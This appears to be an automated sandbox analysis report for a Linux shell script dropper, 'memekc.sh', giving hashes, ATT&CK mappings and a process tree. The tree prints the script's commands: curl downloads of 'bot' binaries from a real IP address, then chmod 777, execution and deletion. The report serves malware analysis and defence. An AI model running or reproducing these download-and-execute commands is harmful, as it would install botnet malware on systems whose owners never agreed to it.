2f0dd5c9ab2b550631a9785f61af01d0d9a38e0f029ee946642df2d099408b0c

Analysis

max time kernel
4s
max time network
6s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
23/05/2026, 14:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
memekc.sh
Size 868B
Sample260523-rdb2qaaw8j
SHA256 2f0dd5c9ab2b550631a9785f61af01d0d9a38e0f029ee946642df2d099408b0c
MD5 e596dcc19376f9dde30bbde12cd5a0c9
SHA1 c34cfe770749ef66dfab9a7b846ebeaaa974dfa4
SHA512 97114f3f2cab91d157510ae436b68f5596e80243281783f875e9b6ebd7932f713c97a39599201cd6fed2a0a9bc8e1e6edbc5defc507de367ca58af0f87091df2
TLSH
T1E0116D97F99686A38E8D007D5F6EB1164063C87717A2C839B28CEF190F53144BAE1238
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
744	chmod

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-1.dat	upx

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
741	curl

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/luxzz.mpsl	curl
File opened for modification	/tmp/luxzz.mips	curl

/tmp/memekc.sh
/tmp/memekc.sh
1⤵
PID:712
- /bin/uname
  uname -m
  2⤵
  PID:716
- /usr/bin/curl
  curl http://62.169.16.83/luxzzxzzx/luxzz.mpsl -O bot
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:718
- /usr/bin/curl
  curl http://62.169.16.83/luxzzxzzx/luxzz.mips -O bot
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /bin/chmod
  chmod 777 bot
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/bot
  ./bot
  2⤵
  PID:745
- /bin/rm
  rm -rf bot
  2⤵
  PID:746

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

luxzz.mpsl

Path /tmp/luxzz.mpsl
Size 48KB
SHA256 85f219d3cde670a8a58d12bca0565a0f02d8f7184da32e4515572198582c05cd
MD5 a1febce58a6c6fcaa99b4376059c1a5d
SHA1 8e091711439327ec448074103e807b68c5a6aed3
SHA512 c15c96eaee660eb85da1373591460ada38dc54e5769351307f593d9ff6ed1dc99155ef40810a25943f10ad478f77526a35489f7a3bc30a4017dcc6dc952eacdb
SSDEEP 1536:jOIHu9FZgqUbl3LkH2k0ION4qCnBUOIGQHAq954:jU9FZgqUbRAWf2HBU5HJ54
TLSH
T1D423F19C8E20899FE2DF86AE0F9B1D64C1F30DA6ED0ED04D6AD25096A10493D77A9F10
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download